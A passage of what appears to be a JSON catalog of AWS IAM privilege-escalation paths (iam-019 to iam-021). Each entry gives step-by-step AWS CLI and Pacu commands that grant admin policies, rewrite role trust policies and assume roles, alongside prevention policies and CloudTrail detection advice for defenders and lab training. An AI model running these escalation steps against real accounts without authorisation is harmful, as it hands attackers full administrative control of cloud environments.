          "description": "Update the target role's trust policy using iam:UpdateAssumeRolePolicy to allow the attacker to assume it"
        },
        {
          "step": 7,
          "command": "# Wait for trust policy update to propagate\nsleep 15\n",
          "description": "Wait for the trust policy update to propagate across AWS infrastructure (recommended 15 seconds)"
        },
        {
          "step": 8,
          "command": "# Verify the trust policy was updated\naws iam get-role --role-name $TARGET_ROLE --query 'Role.AssumeRolePolicyDocument'\n",
          "description": "Verify that the trust policy now includes the attacker as a trusted principal"
        },
        {
          "step": 9,
          "command": "# Assume the role (note: no prior sts:AssumeRole permission needed)\nROLE_ARN=\"arn:aws:iam::${ACCOUNT_ID}:role/${TARGET_ROLE}\"\n\nCREDENTIALS=$(aws sts assume-role \\\n  --role-arn $ROLE_ARN \\\n  --role-session-name privesc-session \\\n  --output json)\n\n# Extract temporary credentials\nexport AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.Credentials.AccessKeyId')\nexport AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.Credentials.SecretAccessKey')\nexport AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Credentials.SessionToken')\n",
          "description": "Assume the role to obtain temporary credentials with administrative privileges. Trust policy grants permission to assume the role, so no prior sts:AssumeRole permission is required on the principal."
        },
        {
          "step": 10,
          "command": "# Verify administrative access\naws iam list-users --max-items 5\n",
          "description": "Verify that you now have administrative access using the assumed role credentials"
        }
      ]
    },
    "limitations": "This attack path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account to attach. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.\n",
    "recommendation": "Restrict `iam:AttachRolePolicy` and `iam:UpdateAssumeRolePolicy` using the principle of least privilege. These permissions should rarely be granted together on the same target role, as this combination creates a direct privilege escalation path.\n\n**Prevention strategies:**\n\n1. Restrict `iam:AttachRolePolicy` to limit which policies can be attached and to which roles:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:AttachRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/SpecificRole\",\n  \"Condition\": {\n    \"ArnEquals\": {\n      \"iam:PolicyArn\": [\n        \"arn:aws:iam::ACCOUNT:policy/AllowedPolicy1\",\n        \"arn:aws:iam::ACCOUNT:policy/AllowedPolicy2\"\n      ]\n    }\n  }\n}\n```\n\n2. Restrict `iam:UpdateAssumeRolePolicy` to prevent arbitrary trust policy modifications:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:UpdateAssumeRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/SpecificRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:RequestedRegion\": \"us-east-1\"\n    }\n  }\n}\n```\n\n3. Use IAM permissions boundaries to limit the maximum permissions a role can have, even if administrative policies are attached\n\n4. Separate the permissions - avoid granting both `iam:AttachRolePolicy` and `iam:UpdateAssumeRolePolicy` to the same principal for the same target role\n\n5. Require MFA for sensitive role policy attachment and trust policy modification operations\n\n6. Use AWS Config rules to detect and alert on role policy attachments and trust policy changes\n\n7. Use Service Control Policies (SCPs) to prevent the attachment of overly permissive managed policies or to restrict trust policy modifications\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `AttachRolePolicy` API calls, especially when attaching AWS-managed admin policies like AdministratorAccess\n- `UpdateAssumeRolePolicy` API calls that add new principals to role trust policies\n- Sequential occurrences of `AttachRolePolicy` followed by `UpdateAssumeRolePolicy` on the same role within a short time window\n- `AssumeRole` API calls immediately following trust policy updates\n- `UpdateAssumeRolePolicy` events where new principals are added to the trust policy\n\nSet up CloudWatch alarms for unexpected changes to role policies and trust policies. Investigate any role policy attachments combined with trust policy modifications. Consider implementing automated responses to roll back suspicious policy changes or to quarantine affected roles.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-009",
        "modification": "Combines iam:AttachRolePolicy with iam:UpdateAssumeRolePolicy to both elevate a role's permissions and modify its trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
      },
      "ultimateOrigin": {
        "pathId": "iam-012",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-attachrolepolicy+iam-updateassumerolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachRolePolicy and IAM-UpdatingAssumeRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths (two separate scenarios: privesc9 and privesc14)"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamattachrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:AttachRolePolicy and iam:UpdateAssumeRolePolicy permissions on a target role. Can be an IAM user or role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "An existing IAM role that will be modified. The attacker will attach an administrative policy to it and update its trust policy to allow assumption.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If an administrative managed policy (e.g., AdministratorAccess) is attached to the role, the attacker gains full administrative access after assuming the role.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If a managed policy with elevated but non-administrative permissions is attached, the attacker gains partial privilege escalation.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If only managed policies with minimal permissions are available to attach, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:AttachRolePolicy + iam:UpdateAssumeRolePolicy & then sts:AssumeRole",
          "description": "The attacker first attaches an administrative managed policy (e.g., AdministratorAccess) to the target role, then updates the role's trust policy to allow their principal to assume it, and finally assumes the role. No prior sts:AssumeRole permission is needed - the trust policy grants this capability.\n\nCommands:\n```bash\n# Step 1: Attach administrative policy\naws iam attach-role-policy \\\n  --role-name target-role \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n\n# Step 2: Update trust policy\naws iam update-assume-role-policy \\\n  --role-name target-role \\\n  --policy-document file://trust-policy.json\n\n# Step 3: Assume the role\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/target-role \\\n  --role-session-name privesc-session\n```\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If administrative policy attached",
          "branch": "A",
          "condition": "admin",
          "description": "If AdministratorAccess or equivalent was attached to the role, the attacker gains full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If elevated policy attached",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If a policy with elevated but non-administrative permissions was attached, the attacker gains partial privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If limited policy attached",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If only limited managed policies were available to attach, the attacker may not gain meaningful additional access.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-10T13:36:26Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-019.yaml"
  },
  {
    "id": "iam-020",
    "parent": {
      "id": "iam-001",
      "modification": "This variation combines iam:CreatePolicyVersion with iam:UpdateAssumeRolePolicy to both elevate a policy's permissions and modify the role's trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
    },
    "name": "iam:CreatePolicyVersion + iam:UpdateAssumeRolePolicy",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L57",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L235"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreatePolicyVersion",
          "resourceConstraints": "Must have access to create policy versions on a customer-managed policy attached to the target role"
        },
        {
          "permission": "iam:UpdateAssumeRolePolicy",
          "resourceConstraints": "Must have permission to update the trust policy of the target role"
        }
      ],
      "additional": [
        {
          "permission": "iam:GetPolicy",
          "resourceConstraints": "Helpful for retrieving policy details and ARNs"
        },
        {
          "permission": "iam:GetPolicyVersion",
          "resourceConstraints": "Useful for viewing current policy version contents"
        },
        {
          "permission": "iam:ListPolicyVersions",
          "resourceConstraints": "Helpful for viewing all versions of a policy"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to target"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached policies"
        }
      ]
    },
    "description": "This is a variation of `iam:CreatePolicyVersion` (iam-001). This variation is needed when you have `iam:CreatePolicyVersion` permission on a customer-managed policy that is attached to a different role (not your own principal). In this scenario, you cannot directly escalate your own privileges by modifying the policy, but you can escalate by modifying the policy attached to the target role and then assuming that role. This requires both `iam:CreatePolicyVersion` on the customer-managed policy AND `iam:UpdateAssumeRolePolicy` on the target role. You create a new policy version with administrative permissions (which automatically becomes the default), update the target role's trust policy to allow your principal to assume it, then assume the role to gain the elevated privileges. Critically, you do not need `sts:AssumeRole` permission beforehand - when a principal is explicitly named in a role's trust policy, AWS allows that principal to assume the role regardless of whether they have separate `sts:AssumeRole` permission.",
    "prerequisites": {
      "admin": [
        "A customer-managed IAM policy must exist that is attached to a target role",
        "You must have `iam:CreatePolicyVersion` permission on that customer-managed policy",
        "You must have `iam:UpdateAssumeRolePolicy` permission on the target role",
        "The target role must have a customer-managed policy attached (not just AWS-managed policies, which cannot be modified)"
      ],
      "lateral": [
        "A customer-managed IAM policy must exist that is attached to a target role",
        "You must have `iam:CreatePolicyVersion` permission on that customer-managed policy",
        "You must have `iam:UpdateAssumeRolePolicy` permission on the target role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Set variables for the target policy and role\nPOLICY_ARN=\"arn:aws:iam::ACCOUNT_ID:policy/target-policy-name\"\nTARGET_ROLE=\"target-role-name\"\nACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)\nSTARTING_PRINCIPAL_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)\n",
          "description": "Define the target policy ARN, role name, and retrieve your principal ARN for the trust policy update"
        },
        {
          "step": 2,
          "command": "# Create admin_policy.json with administrative permissions\ncat > admin_policy.json << 'EOF'\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a policy document with full administrative permissions"
        },
        {
          "step": 3,
          "command": "# Create a new policy version with admin permissions and set as default\naws iam create-policy-version \\\n  --policy-arn $POLICY_ARN \\\n  --policy-document file://admin_policy.json \\\n  --set-as-default\n",
          "description": "Create a new policy version with administrative permissions. The --set-as-default flag makes this version active immediately, affecting all principals with this policy attached (including the target role)"
        },
        {
          "step": 4,
          "command": "# Wait for policy changes to propagate\nsleep 15\n",
          "description": "Wait for the IAM policy changes to propagate across AWS infrastructure (typically takes 10-15 seconds)"
        },
        {
          "step": 5,
          "command": "# Create a new trust policy that allows your principal to assume the role\ncat > trust_policy.json << EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"$STARTING_PRINCIPAL_ARN\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a trust policy that explicitly allows your principal to assume the target role"
        },
        {
          "step": 6,
          "command": "# Update the role's trust policy\naws iam update-assume-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-document file://trust_policy.json\n",
          "description": "Update the target role's trust policy to allow your principal to assume it"
        },
        {
          "step": 7,
          "command": "# Wait for trust policy changes to propagate\nsleep 15\n",
          "description": "Wait for the trust policy changes to propagate"
        },
        {
          "step": 8,
          "command": "# Assume the target role (no prior sts:AssumeRole permission needed)\nCREDENTIALS=$(aws sts assume-role \\\n  --role-arn \"arn:aws:iam::$ACCOUNT_ID:role/$TARGET_ROLE\" \\\n  --role-session-name privesc-session \\\n  --query 'Credentials' \\\n  --output json)\n\n# Export the temporary credentials\nexport AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')\nexport AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')\nexport AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.SessionToken')\n",
          "description": "Assume the target role to obtain temporary credentials with administrative permissions. Note that you do not need prior sts:AssumeRole permission - being explicitly named in the trust policy is sufficient"
        },
        {
          "step": 9,
          "command": "# Verify administrative access\naws iam list-users --max-items 5\n",
          "description": "Verify that you now have administrative access by listing IAM users"
        }
      ]
    },
    "limitations": "The attack provides administrative access when you create a policy version with admin permissions. However, you could create a policy with any permissions, so the level of access depends on what you include in the new policy version.\n",
    "recommendation": "Restrict `iam:CreatePolicyVersion` and `iam:UpdateAssumeRolePolicy` using the principle of least privilege. These permissions are highly sensitive and should rarely be granted together.\n\n**Prevention strategies:**\n\n1. Limit `iam:CreatePolicyVersion` to only administrative users who need to manage policies:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:CreatePolicyVersion\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:policy/SpecificPolicy\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:RequestedRegion\": \"us-east-1\"\n    }\n  }\n}\n```\n\n2. Restrict `iam:UpdateAssumeRolePolicy` to prevent unauthorized trust policy modifications:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:UpdateAssumeRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/SpecificRole\",\n  \"Condition\": {\n    \"StringNotLike\": {\n      \"iam:PolicyDocument\": \"*arn:aws:iam::*:role/*\"\n    }\n  }\n}\n```\n\n3. Use Service Control Policies (SCPs) to prevent modification of critical policies and trust relationships across the organization\n\n4. Implement IAM permissions boundaries to limit the maximum permissions a role can have\n\n5. Separate the permissions - avoid granting both `iam:CreatePolicyVersion` and `iam:UpdateAssumeRolePolicy` to the same principal\n\n6. Require MFA for policy version creation and trust policy modification operations\n\n7. Consider using AWS IAM Access Analyzer to continuously monitor trust policies for unexpected principals\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `CreatePolicyVersion` API calls, especially with the `--set-as-default` flag\n- `UpdateAssumeRolePolicy` API calls that add new principals to trust policies\n- Sequential occurrences of `CreatePolicyVersion` followed by `UpdateAssumeRolePolicy` within a short time window\n- `AssumeRole` events that follow policy or trust policy modification events\n- Creation of policy versions that grant overly broad permissions (e.g., `Action: \"*\"` or administrative managed policies)\n\nSet up CloudWatch alarms for unexpected changes to customer-managed policies and role trust policies. Investigate any modifications that broaden trust relationships or elevate permissions.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-001",
        "modification": "Combines iam:CreatePolicyVersion with iam:UpdateAssumeRolePolicy to both elevate a policy's permissions and modify the role's trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
      },
      "ultimateOrigin": {
        "pathId": "iam-012",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation Methods",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "Hacking The Cloud - IAM Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreatepolicyversion"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-002",
      "iam-009",
      "iam-014"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-createpolicyversion+iam-updateassumerolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "ruleId": "TBD",
        "url": "https://docs.datadoghq.com/security/default_rules/"
      }
    ],
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:CreatePolicyVersion and iam:UpdateAssumeRolePolicy permissions. Can be an IAM user or role.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "An IAM role with a customer-managed policy attached. The attacker will create a new version of that policy with administrative permissions and update the role's trust policy to allow assumption.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "After creating a policy version with administrative permissions and assuming the role, the attacker gains full administrative access.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the new policy version grants elevated but non-administrative permissions, the attacker gains partial privilege escalation after assuming the role.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the new policy version only grants minimal permissions, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:CreatePolicyVersion + iam:UpdateAssumeRolePolicy + sts:AssumeRole",
          "description": "The attacker first creates a new version of the customer-managed policy (attached to the target role) with administrative permissions, then updates the role's trust policy to allow their principal to assume it, and finally assumes the role. No prior sts:AssumeRole permission is needed - the trust policy grants this capability.\n\nCommands:\n```bash\n# Step 1: Create new policy version with admin permissions\naws iam create-policy-version \\\n  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/target-policy \\\n  --policy-document file://admin_policy.json \\\n  --set-as-default\n\n# Step 2: Update trust policy\naws iam update-assume-role-policy \\\n  --role-name target-role \\\n  --policy-document file://trust_policy.json\n\n# Step 3: Assume the role\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/target-role \\\n  --role-session-name privesc-session\n```\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If admin policy version created",
          "branch": "A",
          "condition": "admin",
          "description": "If the policy version grants administrative permissions, the attacker gains full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If elevated policy version created",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the policy version grants elevated but non-administrative permissions, the attacker gains partial privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If limited policy version created",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the policy version only grants minimal permissions, the attacker may not gain meaningful additional access.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-10T13:36:26Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-020.yaml"
  },
  {
    "id": "iam-021",
    "parent": {
      "id": "iam-005",
      "modification": "This variation combines iam:PutRolePolicy with iam:UpdateAssumeRolePolicy to both add an inline policy to a role and modify its trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
    },
    "name": "iam:PutRolePolicy + iam:UpdateAssumeRolePolicy",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L61",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L236"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PutRolePolicy",
          "resourceConstraints": "Must have access to add inline policies to the target role"
        },
        {
          "permission": "iam:UpdateAssumeRolePolicy",
          "resourceConstraints": "Must have permission to modify the trust policy of the target role"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to target"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing current role trust policies and attached permissions"
        },
        {
          "permission": "iam:ListRolePolicies",
          "resourceConstraints": "Helpful for viewing current inline policies on the target role"
        },
        {
          "permission": "iam:GetRolePolicy",
          "resourceConstraints": "Useful for retrieving and examining the content of existing inline policies"
        }
      ]
    },
    "description": "A principal with `iam:PutRolePolicy` and `iam:UpdateAssumeRolePolicy` can achieve privilege escalation by first adding an inline policy with administrative permissions to a target role, then modifying that role's trust policy to allow the attacker to assume it. The key insight is that when a principal is explicitly named in a role's trust policy, that principal can assume the role without needing separate `sts:AssumeRole` permissions - the trust policy itself grants this capability. This attack is often overlooked because each permission appears innocuous when evaluated separately: `iam:PutRolePolicy` seems like a reasonable permission for managing role permissions, and `iam:UpdateAssumeRolePolicy` seems reasonable for managing trust relationships. However, when combined, they create a complete privilege escalation path.",
    "prerequisites": {
      "admin": [
        "A target IAM role must exist that you have both `iam:PutRolePolicy` and `iam:UpdateAssumeRolePolicy` permissions on"
      ],
      "lateral": [
        "A target IAM role must exist that you have both `iam:PutRolePolicy` and `iam:UpdateAssumeRolePolicy` permissions on"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Set the target role name\nTARGET_ROLE=\"target-role-name\"\n",
          "description": "Define the target role that will be modified and assumed"
        },
        {
          "step": 2,
          "command": "# Create an admin policy document\ncat > admin-policy.json <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a policy document with administrative permissions (all actions on all resources)"
        },
        {
          "step": 3,
          "command": "# Add the admin inline policy to the target role\naws iam put-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-name AdminEscalation \\\n  --policy-document file://admin-policy.json\n",
          "description": "Add the administrative inline policy to the target role using iam:PutRolePolicy"
        },
        {
          "step": 4,
          "command": "# Wait for IAM policy changes to propagate (15 seconds)\nsleep 15\n",
          "description": "Wait for the inline policy to propagate across AWS infrastructure"
        },
        {
          "step": 5,
          "command": "# Get your current principal ARN\nCURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text)\necho \"Current principal ARN: $CURRENT_ARN\"\n",
          "description": "Retrieve your current principal ARN to add to the trust policy"
        },
        {
          "step": 6,
          "command": "# Get the account ID\nACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)\n\n# Create a new trust policy that includes your principal\ncat > trust-policy.json <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"$CURRENT_ARN\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a new trust policy document that explicitly allows your principal to assume the role"
        },
        {
          "step": 7,
          "command": "# Update the role's trust policy\naws iam update-assume-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-document file://trust-policy.json\n",
          "description": "Update the role's trust policy using iam:UpdateAssumeRolePolicy to allow your principal to assume it"
        },
        {
          "step": 8,
          "command": "# Wait for trust policy changes to propagate (15 seconds)\nsleep 15\n",
          "description": "Wait for the trust policy to propagate across AWS infrastructure"
        },
        {
          "step": 9,
          "command": "# Assume the role (no prior sts:AssumeRole permission needed)\nCREDENTIALS=$(aws sts assume-role \\\n  --role-arn \"arn:aws:iam::$ACCOUNT_ID:role/$TARGET_ROLE\" \\\n  --role-session-name privileged-session \\\n  --output json)\n\n# Extract the temporary credentials\nexport AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.Credentials.AccessKeyId')\nexport AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.Credentials.SecretAccessKey')\nexport AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Credentials.SessionToken')\n",
          "description": "Assume the role using sts:AssumeRole. Note that no prior sts:AssumeRole permission is needed because the trust policy grants this capability automatically when a principal is explicitly named."
        },
        {
          "step": 10,
          "command": "# Verify administrative access using the assumed role credentials\naws iam list-users --max-items 5\n",
          "description": "Verify that you now have administrative access by listing IAM users with the assumed role credentials"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "# Use Pacu to add an admin inline policy to the target role\nrun iam__put_role_policy --role-name target-role-name --policy-name AdminEscalation --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}]}'\n",
          "description": "Use Pacu to add an administrative inline policy to the target role"
        },
        {
          "step": 2,
          "command": "# Use Pacu to update the role's trust policy\nrun iam__update_assume_role_policy --role-name target-role-name --principal-arn YOUR_PRINCIPAL_ARN\n",
          "description": "Use Pacu to update the role's trust policy to allow your principal to assume it"
        },
        {
          "step": 3,
          "command": "# Use Pacu to assume the role\nrun sts__assume_role --role-arn arn:aws:iam::ACCOUNT_ID:role/target-role-name\n",
          "description": "Use Pacu to assume the role and obtain temporary credentials with administrative permissions"
        }
      ]
    },
    "limitations": "This attack provides administrative access because the attacker controls the inline policy document content. Unlike `iam:AttachRolePolicy` (which requires choosing from existing managed policies), `iam:PutRolePolicy` allows the attacker to embed any policy document directly into the role, guaranteeing administrative permissions regardless of what policies exist in the environment.\n",
    "recommendation": "Restrict `iam:PutRolePolicy` and `iam:UpdateAssumeRolePolicy` using the principle of least privilege. These permissions should rarely be granted together on the same target role, as this combination creates a direct privilege escalation path.\n\n**Prevention strategies:**\n\n1. Restrict `iam:PutRolePolicy` to prevent inline policy modification on sensitive roles:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PutRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/non-sensitive-prefix-*\",\n  \"Condition\": {\n    \"StringNotLike\": {\n      \"iam:RoleName\": [\"admin-*\", \"privileged-*\"]\n    }\n  }\n}\n```\n\n2. Restrict `iam:UpdateAssumeRolePolicy` to prevent trust policy modification on sensitive roles:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:UpdateAssumeRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/non-sensitive-prefix-*\",\n  \"Condition\": {\n    \"StringNotLike\": {\n      \"iam:RoleName\": [\"admin-*\", \"privileged-*\"]\n    }\n  }\n}\n```\n\n3. Use IAM permissions boundaries to limit the maximum permissions a role can have, even if administrative inline policies are added\n\n4. Separate the permissions - avoid granting both `iam:PutRolePolicy` and `iam:UpdateAssumeRolePolicy` to the same principal for the same target roles\n\n5. Require MFA for sensitive trust policy modifications and inline policy operations\n\n6. Implement regular audits of role trust policies and inline policies, as both can be less visible than managed policies in standard IAM reviews\n\n7. Use Service Control Policies (SCPs) to prevent the addition of overly permissive inline policies or trust policy modifications on critical roles\n\n8. Implement deny policies that explicitly block modification of trust policies or inline policies on administrative or critical roles\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `PutRolePolicy` API calls with policy documents containing broad permissions (e.g., `\"Action\": \"*\"` or `\"Action\": \"iam:*\"`)\n- `UpdateAssumeRolePolicy` API calls that add new principals to trust policies\n- Sequential occurrences of `PutRolePolicy` followed by `UpdateAssumeRolePolicy` on the same role within a short time window\n- `AssumeRole` API calls immediately following `UpdateAssumeRolePolicy` events\n- Trust policy modifications that add specific principal ARNs (as opposed to service principals like `ec2.amazonaws.com`)\n\nSet up CloudWatch alarms for unexpected changes to role trust policies and inline role policies. Investigate any trust policy modifications combined with inline policy additions. Consider implementing automated 